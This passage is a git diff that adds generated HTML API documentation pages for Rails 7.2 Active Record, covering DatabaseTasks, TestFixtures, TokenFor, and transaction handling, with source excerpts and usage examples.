+        scope = ENV["SCOPE"]
+        verbose_was, Migration.verbose = Migration.verbose, verbose?
+
+        check_target_version
+
+        migration_connection_pool.migration_context.migrate(target_version) do |migration|
+          if version.blank?
+            scope.blank? || scope == migration.scope
+          else
+            migration.version == version
+          end
+        end.tap do |migrations_ran|
+          Migration.write("No migrations ran. (using #{scope} scope)") if scope.present? && migrations_ran.empty?
+        end
+
+        migration_connection_pool.schema_cache.clear!
+      ensure
+        Migration.verbose = verbose_was
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + migrate_status() + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/tasks/database_tasks.rb, line 294
+      def migrate_status
+        unless migration_connection_pool.schema_migration.table_exists?
+          Kernel.abort "Schema migrations table does not exist yet."
+        end
+
+        # output
+        puts "\ndatabase: #{migration_connection_pool.db_config.database}\n\n"
+        puts "#{'Status'.center(8)}  #{'Migration ID'.ljust(14)}  Migration Name"
+        puts "-" * 50
+        migration_connection_pool.migration_context.migrations_status.each do |status, version, name|
+          puts "#{status.center(8)}  #{version.ljust(14)}  #{name}"
+        end
+        puts
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + migrations_paths() + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/tasks/database_tasks.rb, line 87
+      def migrations_paths
+        @migrations_paths ||= Rails.application.paths["db/migrate"].to_a
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + name() + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/tasks/database_tasks.rb, line 107
+      def name
+        @name ||= "primary"
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + prepare_all() + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/tasks/database_tasks.rb, line 176
+      def prepare_all
+        seed = false
+        dump_db_configs = []
+
+        each_current_configuration(env) do |db_config|
+          with_temporary_pool(db_config) do
+            begin
+              database_initialized = migration_connection_pool.schema_migration.table_exists?
+            rescue ActiveRecord::NoDatabaseError
+              create(db_config)
+              retry
+            end
+
+            unless database_initialized
+              if File.exist?(schema_dump_path(db_config))
+                load_schema(db_config, ActiveRecord.schema_format, nil)
+              end
+
+              seed = true
+            end
+          end
+        end
+
+        each_current_environment(env) do |environment|
+          db_configs_with_versions(environment).sort.each do |version, db_configs|
+            dump_db_configs |= db_configs
+
+            db_configs.each do |db_config|
+              with_temporary_pool(db_config) do
+                migrate(version)
+              end
+            end
+          end
+        end
+
+        # Dump schema for databases that were migrated.
+        if ActiveRecord.dump_schema_after_migration
+          dump_db_configs.each do |db_config|
+            with_temporary_pool(db_config) do
+              dump_schema(db_config)
+            end
+          end
+        end
+
+        load_seed if seed
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + purge(configuration) + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/tasks/database_tasks.rb, line 339
+      def purge(configuration)
+        db_config = resolve_configuration(configuration)
+        database_adapter_for(db_config).purge
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + purge_all() + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/tasks/database_tasks.rb, line 344
+      def purge_all
+        each_local_configuration { |db_config| purge(db_config) }
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + purge_current(environment = env) + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/tasks/database_tasks.rb, line 348
+      def purge_current(environment = env)
+        each_current_configuration(environment) { |db_config| purge(db_config) }
+
+        migration_class.establish_connection(environment.to_sym)
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + register_task(pattern, task) + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/tasks/database_tasks.rb, line 73
+      def register_task(pattern, task)
+        @tasks ||= {}
+        @tasks[pattern] = task
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + root() + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/tasks/database_tasks.rb, line 99
+      def root
+        @root ||= Rails.root
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + schema_dump_path(db_config, format = ActiveRecord.schema_format) + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/tasks/database_tasks.rb, line 447
+      def schema_dump_path(db_config, format = ActiveRecord.schema_format)
+        return ENV["SCHEMA"] if ENV["SCHEMA"]
+
+        filename = db_config.schema_dump(format)
+        return unless filename
+
+        if File.dirname(filename) == ActiveRecord::Tasks::DatabaseTasks.db_dir
+          filename
+        else
+          File.join(ActiveRecord::Tasks::DatabaseTasks.db_dir, filename)
+        end
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + schema_up_to_date?(configuration, format = ActiveRecord.schema_format, file = nil) + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/tasks/database_tasks.rb, line 389
+      def schema_up_to_date?(configuration, format = ActiveRecord.schema_format, file = nil)
+        db_config = resolve_configuration(configuration)
+
+        file ||= schema_dump_path(db_config)
+
+        return true unless file && File.exist?(file)
+
+        with_temporary_pool(db_config) do |pool|
+          internal_metadata = pool.internal_metadata
+          return false unless internal_metadata.enabled?
+          return false unless internal_metadata.table_exists?
+
+          internal_metadata[:schema_sha1] == schema_sha1(file)
+        end
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + seed_loader() + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/tasks/database_tasks.rb, line 111
+      def seed_loader
+        @seed_loader ||= Rails.application
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + structure_dump(configuration, *arguments) + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/tasks/database_tasks.rb, line 354
+      def structure_dump(configuration, *arguments)
+        db_config = resolve_configuration(configuration)
+        filename = arguments.delete_at(0)
+        flags = structure_dump_flags_for(db_config.adapter)
+        database_adapter_for(db_config, *arguments).structure_dump(filename, flags)
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + structure_load(configuration, *arguments) + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/tasks/database_tasks.rb, line 361
+      def structure_load(configuration, *arguments)
+        db_config = resolve_configuration(configuration)
+        filename = arguments.delete_at(0)
+        flags = structure_load_flags_for(db_config.adapter)
+        database_adapter_for(db_config, *arguments).structure_load(filename, flags)
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + target_version() + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/tasks/database_tasks.rb, line 315
+      def target_version
+        ENV["VERSION"].to_i if ENV["VERSION"] && !ENV["VERSION"].empty?
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + truncate_all(environment = env) + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/tasks/database_tasks.rb, line 250
+      def truncate_all(environment = env)
+        configs_for(env_name: environment).each do |db_config|
+          truncate_tables(db_config)
+        end
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ + + + +
+ +
+
diff --git a/src/7.2/classes/ActiveRecord/TestFixtures.html b/src/7.2/classes/ActiveRecord/TestFixtures.html new file mode 100644 index 0000000000..476371b243 --- /dev/null +++ b/src/7.2/classes/ActiveRecord/TestFixtures.html @@ -0,0 +1,186 @@ +--- +title: ActiveRecord::TestFixtures +layout: default +--- +
+ +
+
+ + + + + + + + + +

Namespace

+ + +

Module

+ + + + + + + +

Methods

+ + + + + + + + + + + + + + + + +

Class Public methods

+ +
+

+ + fixture_paths + +

+ + +
+

Returns the ActiveRecord::FixtureSet collection

+
+ + + + + + + + + πŸ”Ž See on GitHub + +
+ +
+

+ + fixture_paths=(fixture_paths) + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/test_fixtures.rb, line 31
+      class_attribute :fixture_paths, instance_writer: false, default: []
+
+ + πŸ”Ž See on GitHub + +
+ +
+ + + +

Instance Public methods

+ +
+

+ + fixture(fixture_set_name, *fixture_names) + +

+ + +
+

Generic fixture accessor for fixture names that may conflict with other methods.

+ +
assert_equal "Ruby on Rails", web_sites(:rubyonrails).name
+assert_equal "Ruby on Rails", fixture(:web_sites, :rubyonrails).name
+
+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/test_fixtures.rb, line 103
+    def fixture(fixture_set_name, *fixture_names)
+      active_record_fixture(fixture_set_name, *fixture_names)
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ + + + +
+ +
+
diff --git a/src/7.2/classes/ActiveRecord/TestFixtures/ClassMethods.html b/src/7.2/classes/ActiveRecord/TestFixtures/ClassMethods.html new file mode 100644 index 0000000000..6130e1a038 --- /dev/null +++ b/src/7.2/classes/ActiveRecord/TestFixtures/ClassMethods.html @@ -0,0 +1,288 @@ +--- +title: ActiveRecord::TestFixtures::ClassMethods +layout: default +--- +
+ +
+
+ + + + + + + + + + + +

Methods

+ + + + + + + + + + + + + + + + + +

Instance Public methods

+ +
+

+ + fixtures(*fixture_set_names) + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/test_fixtures.rb, line 56
+      def fixtures(*fixture_set_names)
+        if fixture_set_names.first == :all
+          raise StandardError, "No fixture path found. Please set `#{self}.fixture_paths`." if fixture_paths.blank?
+          fixture_set_names = fixture_paths.flat_map do |path|
+            names = Dir[::File.join(path, "{**,*}/*.{yml}")].uniq
+            names.reject! { |f| f.start_with?(file_fixture_path.to_s) } if defined?(file_fixture_path) && file_fixture_path
+            names.map! { |f| f[path.to_s.size..-5].delete_prefix("/") }
+          end.uniq
+        else
+          fixture_set_names = fixture_set_names.flatten.map(&:to_s)
+        end
+
+        self.fixture_table_names = (fixture_table_names | fixture_set_names).sort
+        setup_fixture_accessors(fixture_set_names)
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + set_fixture_class(class_names = {}) + +

+ + +
+

Sets the model class for a fixture when the class name cannot be inferred from the fixture name.

+ +

Examples:

+ +
set_fixture_class some_fixture:        SomeModel,
+                  'namespaced/fixture' => Another::Model
+
+ +

The keys must be the fixture names, that coincide with the short paths to the fixture files.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/test_fixtures.rb, line 52
+      def set_fixture_class(class_names = {})
+        self.fixture_class_names = fixture_class_names.merge(class_names.stringify_keys)
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + setup_fixture_accessors(fixture_set_names = nil) + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/test_fixtures.rb, line 72
+      def setup_fixture_accessors(fixture_set_names = nil)
+        fixture_set_names = Array(fixture_set_names || fixture_table_names)
+        unless fixture_set_names.empty?
+          self.fixture_sets = fixture_sets.dup
+          fixture_set_names.each do |fs_name|
+            key = fs_name.to_s.include?("/") ? -fs_name.to_s.tr("/", "_") : fs_name
+            key = -key.to_s if key.is_a?(Symbol)
+            fs_name = -fs_name.to_s if fs_name.is_a?(Symbol)
+            fixture_sets[key] = fs_name
+          end
+        end
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + uses_transaction(*methods) + +

+ + +
+

Prevents automatically wrapping each specified test in a transaction, to allow application logic transactions to be tested in a top-level (non-nested) context.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/test_fixtures.rb, line 88
+      def uses_transaction(*methods)
+        @uses_transaction = [] unless defined?(@uses_transaction)
+        @uses_transaction.concat methods.map(&:to_s)
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + uses_transaction?(method) + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/test_fixtures.rb, line 93
+      def uses_transaction?(method)
+        @uses_transaction = [] unless defined?(@uses_transaction)
+        @uses_transaction.include?(method.to_s)
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ + + + +
+ +
+
diff --git a/src/7.2/classes/ActiveRecord/Timestamp.html b/src/7.2/classes/ActiveRecord/Timestamp.html new file mode 100644 index 0000000000..0f535ab59d --- /dev/null +++ b/src/7.2/classes/ActiveRecord/Timestamp.html @@ -0,0 +1,98 @@ +--- +title: ActiveRecord::Timestamp +layout: default +--- +
+ +
+
+ +
+ +

Active Record Timestamp

+ +

Active Record automatically timestamps create and update operations if the table has fields named created_at/created_on or updated_at/updated_on.

+ +

Timestamping can be turned off by setting:

+ +
config.active_record.record_timestamps = false
+
+ +

Timestamps are in UTC by default but you can use the local timezone by setting:

+ +
config.active_record.default_timezone = :local
+
+ +

Time Zone aware attributes

+ +

Active Record keeps all the datetime and time columns timezone aware. By default, these values are stored in the database as UTC and converted back to the current Time.zone when pulled from the database.

+ +

This feature can be turned off completely by setting:

+ +
config.active_record.time_zone_aware_attributes = false
+
+ +

You can also specify that only datetime columns should be time-zone aware (while time should not) by setting:

+ +
ActiveRecord::Base.time_zone_aware_types = [:datetime]
+
+ +

You can also add database-specific timezone aware types. For example, for PostgreSQL:

+ +
ActiveRecord::Base.time_zone_aware_types += [:tsrange, :tstzrange]
+
+ +

Finally, you can indicate specific attributes of a model for which time zone conversion should not applied, for instance by setting:

+ +
class Topic < ActiveRecord::Base
+  self.skip_time_zone_conversion_for_attributes = [:written_on]
+end
+
+ +
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/classes/ActiveRecord/TokenFor.html b/src/7.2/classes/ActiveRecord/TokenFor.html new file mode 100644 index 0000000000..e4002001ee --- /dev/null +++ b/src/7.2/classes/ActiveRecord/TokenFor.html @@ -0,0 +1,118 @@ +--- +title: ActiveRecord::TokenFor +layout: default +--- +
+ +
+
+ + + + + + + + + +

Namespace

+ + +

Module

+ + + + + + + +

Methods

+ + + + + + + + + + + + + + + + + +

Instance Public methods

+ +
+

+ + generate_token_for(purpose) + +

+ + +
+

Generates a token for a predefined purpose.

+ +

Use ClassMethods#generates_token_for to define a token purpose and behavior.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/token_for.rb, line 119
+    def generate_token_for(purpose)
+      self.class.token_definitions.fetch(purpose).generate_token(self)
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ + + + +
+ +
+
diff --git a/src/7.2/classes/ActiveRecord/TokenFor/ClassMethods.html b/src/7.2/classes/ActiveRecord/TokenFor/ClassMethods.html new file mode 100644 index 0000000000..b6838582ea --- /dev/null +++ b/src/7.2/classes/ActiveRecord/TokenFor/ClassMethods.html @@ -0,0 +1,131 @@ +--- +title: ActiveRecord::TokenFor::ClassMethods +layout: default +--- +
+ +
+
+ + + + + + + + + + + +

Methods

+ + + + + + + + + + + + + + + + + +

Instance Public methods

+ +
+

+ + generates_token_for(purpose, expires_in: nil, &block) + +

+ + +
+

Defines the behavior of tokens generated for a specific purpose. A token can be generated by calling TokenFor#generate_token_for on a record. Later, that record can be fetched by calling find_by_token_for (or find_by_token_for!) with the same purpose and token.

+ +

Tokens are signed so that they are tamper-proof. Thus they can be exposed to outside world as, for example, password reset tokens.

+ +

By default, tokens do not expire. They can be configured to expire by specifying a duration via the expires_in option. The duration becomes part of the token’s signature, so changing the value of expires_in will automatically invalidate previously generated tokens.

+ +

A block may also be specified. When generating a token with TokenFor#generate_token_for, the block will be evaluated in the context of the record, and its return value will be embedded in the token as JSON. Later, when fetching the record with find_by_token_for, the block will be evaluated again in the context of the fetched record. If the two JSON values do not match, the token will be treated as invalid. Note that the value returned by the block should not contain sensitive information because it will be embedded in the token as human-readable plaintext JSON.

+ +

Examples

+ +
class User < ActiveRecord::Base
+  has_secure_password
+
+  generates_token_for :password_reset, expires_in: 15.minutes do
+    # Last 10 characters of password salt, which changes when password is updated:
+    password_salt&.last(10)
+  end
+end
+
+user = User.first
+
+token = user.generate_token_for(:password_reset)
+User.find_by_token_for(:password_reset, token) # => user
+# 16 minutes later...
+User.find_by_token_for(:password_reset, token) # => nil
+
+token = user.generate_token_for(:password_reset)
+User.find_by_token_for(:password_reset, token) # => user
+user.update!(password: "new password")
+User.find_by_token_for(:password_reset, token) # => nil
+
+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/token_for.rb, line 102
+      def generates_token_for(purpose, expires_in: nil, &block)
+        self.token_definitions = token_definitions.merge(purpose => TokenDefinition.new(self, purpose, expires_in, block))
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ + + + +
+ +
+
diff --git a/src/7.2/classes/ActiveRecord/TokenFor/RelationMethods.html b/src/7.2/classes/ActiveRecord/TokenFor/RelationMethods.html new file mode 100644 index 0000000000..0e30b1a158 --- /dev/null +++ b/src/7.2/classes/ActiveRecord/TokenFor/RelationMethods.html @@ -0,0 +1,142 @@ +--- +title: ActiveRecord::TokenFor::RelationMethods +layout: default +--- +
+ +
+
+ + + + + + + + + + + +

Methods

+ + + + + + + + + + + + + + + + + +

Instance Public methods

+ +
+

+ + find_by_token_for(purpose, token) + +

+ + +
+

Finds a record using a given token for a predefined purpose. Returns nil if the token is invalid or the record was not found.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/token_for.rb, line 41
+      def find_by_token_for(purpose, token)
+        raise UnknownPrimaryKey.new(self) unless model.primary_key
+        model.token_definitions.fetch(purpose).resolve_token(token) { |id| find_by(model.primary_key => id) }
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + find_by_token_for!(purpose, token) + +

+ + +
+

Finds a record using a given token for a predefined purpose. Raises ActiveSupport::MessageVerifier::InvalidSignature if the token is invalid (e.g. expired, bad format, etc). Raises ActiveRecord::RecordNotFound if the token is valid but the record was not found.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/token_for.rb, line 50
+      def find_by_token_for!(purpose, token)
+        model.token_definitions.fetch(purpose).resolve_token(token) { |id| find(id) } ||
+          (raise ActiveSupport::MessageVerifier::InvalidSignature)
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ + + + +
+ +
+
diff --git a/src/7.2/classes/ActiveRecord/Transaction.html b/src/7.2/classes/ActiveRecord/Transaction.html new file mode 100644 index 0000000000..bae32e084e --- /dev/null +++ b/src/7.2/classes/ActiveRecord/Transaction.html @@ -0,0 +1,390 @@ +--- +title: ActiveRecord::Transaction +layout: default +--- +
+ +
+
+ +
+ +

Class specifies the interface to interact with the current transaction state.

+ +

It can either map to an actual transaction/savepoint, or represent the absence of a transaction.

+ +

State

+ +

We say that a transaction is finalized when it wraps a real transaction that has been either committed or rolled back.

+ +

A transaction is open if it wraps a real transaction that is not finalized.

+ +

On the other hand, a transaction is closed when it is not open. That is, when it represents absence of transaction, or it wraps a real but finalized one.

+ +

You can check whether a transaction is open or closed with the open? and closed? predicates:

+ +
if Article.current_transaction.open?
+  # We are inside a real and not finalized transaction.
+end
+
+ +

Closed transactions are β€˜blank?` too.

+ +

Callbacks

+ +

After updating the database state, you may sometimes need to perform some extra work, or reflect these changes in a remote system like clearing or updating a cache:

+ +
def publish_article(article)
+  article.update!(published: true)
+  NotificationService.article_published(article)
+end
+
+ +

The above code works but has one important flaw, which is that it no longer works properly if called inside a transaction, as it will interact with the remote system before the changes are persisted:

+ +
Article.transaction do
+  article = create_article(article)
+  publish_article(article)
+end
+
+ +

The callbacks offered by ActiveRecord::Transaction allow to rewriting this method in a way that is compatible with transactions:

+ +
def publish_article(article)
+  article.update!(published: true)
+  Article.current_transaction.after_commit do
+    NotificationService.article_published(article)
+  end
+end
+
+ +

In the above example, if publish_article is called inside a transaction, the callback will be invoked after the transaction is successfully committed, and if called outside a transaction, the callback will be invoked immediately.

+ +

Caveats

+ +

When using after_commit callbacks, it is important to note that if the callback raises an error, the transaction won’t be rolled back as it was already committed. Relying solely on these to synchronize state between multiple systems may lead to consistency issues.

+ +
+ + + + + + + + + + + +

Methods

+ + + + + + + + + + + + +

Constants

+ + + + + + + + + +
NULL_TRANSACTION=new(nil).freeze
+ + + + + + + +

Instance Public methods

+ +
+

+ + after_commit(&block) + +

+ + +
+

Registers a block to be called after the transaction is fully committed.

+ +

If there is no currently open transactions, the block is called immediately, unless the transaction is finalized, in which case attempting to register the callback raises ActiveRecord::ActiveRecordError.

+ +

If the transaction has a parent transaction, the callback is transferred to the parent when the current transaction commits, or dropped when the current transaction is rolled back. This operation is repeated until the outermost transaction is reached.

+ +

If the callback raises an error, the transaction remains committed.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/transaction.rb, line 85
+    def after_commit(&block)
+      if @internal_transaction.nil?
+        yield
+      else
+        @internal_transaction.after_commit(&block)
+      end
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + after_rollback(&block) + +

+ + +
+

Registers a block to be called after the transaction is rolled back.

+ +

If there is no currently open transactions, the block is not called. But if the transaction is finalized, attempting to register the callback raises ActiveRecord::ActiveRecordError.

+ +

If the transaction is successfully committed but has a parent transaction, the callback is automatically added to the parent transaction.

+ +

If the entire chain of nested transactions are all successfully committed, the block is never called.

+ +

If the transaction is already finalized, attempting to register a callback will raise ActiveRecord::ActiveRecordError.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/transaction.rb, line 107
+    def after_rollback(&block)
+      @internal_transaction&.after_rollback(&block)
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + blank?() + +

+ + +
+ +
+ + + + + +
+ Alias for: closed? +
+ + + + +
+ +
+

+ + closed?() + +

+ + +
+

Returns true if the transaction doesn’t exist or is finalized.

+
+ + + +
+ Also aliased as: blank? +
+ + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/transaction.rb, line 117
+    def closed?
+      @internal_transaction.nil? || @internal_transaction.state.finalized?
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + open?() + +

+ + +
+

Returns true if the transaction exists and isn’t finalized yet.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/transaction.rb, line 112
+    def open?
+      !closed?
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + uuid() + +

+ + +
+

Returns a UUID for this transaction or nil if no transaction is open.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/transaction.rb, line 124
+    def uuid
+      if @internal_transaction
+        @uuid ||= Digest::UUID.uuid_v4
+      end
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ + + + +
+ +
+
diff --git a/src/7.2/classes/ActiveRecord/TransactionIsolationError.html b/src/7.2/classes/ActiveRecord/TransactionIsolationError.html new file mode 100644 index 0000000000..050aa19ee9 --- /dev/null +++ b/src/7.2/classes/ActiveRecord/TransactionIsolationError.html @@ -0,0 +1,75 @@ +--- +title: ActiveRecord::TransactionIsolationError +layout: default +--- +
+ +
+
+ +
+ +

TransactionIsolationError will be raised under the following conditions:

+
  • +

    The adapter does not support setting the isolation level

    +
  • +

    You are joining an existing open transaction

    +
  • +

    You are creating a nested (savepoint) transaction

    +
+ +

The mysql2, trilogy, and postgresql adapters support setting the transaction isolation level.

+ +
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/classes/ActiveRecord/TransactionRollbackError.html b/src/7.2/classes/ActiveRecord/TransactionRollbackError.html new file mode 100644 index 0000000000..094f62db3a --- /dev/null +++ b/src/7.2/classes/ActiveRecord/TransactionRollbackError.html @@ -0,0 +1,79 @@ +--- +title: ActiveRecord::TransactionRollbackError +layout: default +--- +
+ +
+
+ +
+ +

TransactionRollbackError will be raised when a transaction is rolled back by the database due to a serialization failure or a deadlock.

+ +

These exceptions should not be generally rescued in nested transaction blocks, because they have side-effects in the actual enclosing transaction and internal Active Record state. They can be rescued if you are above the root transaction block, though.

+ +

In that case, beware of transactional tests, however, because they run test cases in their own umbrella transaction. If you absolutely need to handle these exceptions in tests please consider disabling transactional tests in the affected test class (self.use_transactional_tests = false).

+ +

Due to the aforementioned side-effects, this exception should not be raised manually by users.

+ +

See the following:

+ + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/classes/ActiveRecord/Transactions.html b/src/7.2/classes/ActiveRecord/Transactions.html new file mode 100644 index 0000000000..ed4322f6a4 --- /dev/null +++ b/src/7.2/classes/ActiveRecord/Transactions.html @@ -0,0 +1,73 @@ +--- +title: ActiveRecord::Transactions +layout: default +--- +
+ +
+
+ +
+ +

See ActiveRecord::Transactions::ClassMethods for documentation.

+ +
+ + + + + + + + + +

Namespace

+ + +

Module

+ + + + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/classes/ActiveRecord/Transactions/ClassMethods.html b/src/7.2/classes/ActiveRecord/Transactions/ClassMethods.html new file mode 100644 index 0000000000..df285097e8 --- /dev/null +++ b/src/7.2/classes/ActiveRecord/Transactions/ClassMethods.html @@ -0,0 +1,613 @@ +--- +title: ActiveRecord::Transactions::ClassMethods +layout: default +--- +
+ +
+
+ +
+ +

Active Record Transactions

+ +

Transactions are protective blocks where SQL statements are only permanent if they can all succeed as one atomic action. The classic example is a transfer between two accounts where you can only have a deposit if the withdrawal succeeded and vice versa. Transactions enforce the integrity of the database and guard the data against program errors or database break-downs. So basically you should use transaction blocks whenever you have a number of statements that must be executed together or not at all.

+ +

For example:

+ +
ActiveRecord::Base.transaction do
+  david.withdrawal(100)
+  mary.deposit(100)
+end
+
+ +

This example will only take money from David and give it to Mary if neither withdrawal nor deposit raise an exception. Exceptions will force a ROLLBACK that returns the database to the state before the transaction began. Be aware, though, that the objects will not have their instance data returned to their pre-transactional state.

+ +

Different Active Record classes in a single transaction

+ +

Though the transaction class method is called on some Active Record class, the objects within the transaction block need not all be instances of that class. This is because transactions are per-database connection, not per-model.

+ +

In this example a balance record is transactionally saved even though transaction is called on the Account class:

+ +
Account.transaction do
+  balance.save!
+  account.save!
+end
+
+ +

The transaction method is also available as a model instance method. For example, you can also do this:

+ +
balance.transaction do
+  balance.save!
+  account.save!
+end
+
+ +

Transactions are not distributed across database connections

+ +

A transaction acts on a single database connection. If you have multiple class-specific databases, the transaction will not protect interaction among them. One workaround is to begin a transaction on each class whose models you alter:

+ +
Student.transaction do
+  Course.transaction do
+    course.enroll(student)
+    student.units += course.units
+  end
+end
+
+ +

This is a poor solution, but fully distributed transactions are beyond the scope of Active Record.

+ +

save and destroy are automatically wrapped in a transaction

+ +

Both #save and #destroy come wrapped in a transaction that ensures that whatever you do in validations or callbacks will happen under its protected cover. So you can use validations to check for values that the transaction depends on or you can raise exceptions in the callbacks to rollback, including after_* callbacks.

+ +

As a consequence changes to the database are not seen outside your connection until the operation is complete. For example, if you try to update the index of a search engine in after_save the indexer won’t see the updated record. The after_commit callback is the only one that is triggered once the update is committed. See below.

+ +

Exception handling and rolling back

+ +

Also have in mind that exceptions thrown within a transaction block will be propagated (after triggering the ROLLBACK), so you should be ready to catch those in your application code.

+ +

One exception is the ActiveRecord::Rollback exception, which will trigger a ROLLBACK when raised, but not be re-raised by the transaction block. Any other exception will be re-raised.

+ +

Warning: one should not catch ActiveRecord::StatementInvalid exceptions inside a transaction block. ActiveRecord::StatementInvalid exceptions indicate that an error occurred at the database level, for example when a unique constraint is violated. On some database systems, such as PostgreSQL, database errors inside a transaction cause the entire transaction to become unusable until it’s restarted from the beginning. Here is an example which demonstrates the problem:

+ +
# Suppose that we have a Number model with a unique column called 'i'.
+Number.transaction do
+  Number.create(i: 0)
+  begin
+    # This will raise a unique constraint error...
+    Number.create(i: 0)
+  rescue ActiveRecord::StatementInvalid
+    # ...which we ignore.
+  end
+
+  # On PostgreSQL, the transaction is now unusable. The following
+  # statement will cause a PostgreSQL error, even though the unique
+  # constraint is no longer violated:
+  Number.create(i: 1)
+  # => "PG::Error: ERROR:  current transaction is aborted, commands
+  #     ignored until end of transaction block"
+end
+
+ +

One should restart the entire transaction if an ActiveRecord::StatementInvalid occurred.

+ +

Nested transactions

+ +

transaction calls can be nested. By default, this makes all database statements in the nested transaction block become part of the parent transaction. For example, the following behavior may be surprising:

+ +
User.transaction do
+  User.create(username: 'Kotori')
+  User.transaction do
+    User.create(username: 'Nemu')
+    raise ActiveRecord::Rollback
+  end
+end
+
+ +

creates both β€œKotori” and β€œNemu”. Reason is the ActiveRecord::Rollback exception in the nested block does not issue a ROLLBACK. Since these exceptions are captured in transaction blocks, the parent block does not see it and the real transaction is committed.

+ +

In order to get a ROLLBACK for the nested transaction you may ask for a real sub-transaction by passing requires_new: true. If anything goes wrong, the database rolls back to the beginning of the sub-transaction without rolling back the parent transaction. If we add it to the previous example:

+ +
User.transaction do
+  User.create(username: 'Kotori')
+  User.transaction(requires_new: true) do
+    User.create(username: 'Nemu')
+    raise ActiveRecord::Rollback
+  end
+end
+
+ +

only β€œKotori” is created.

+ +

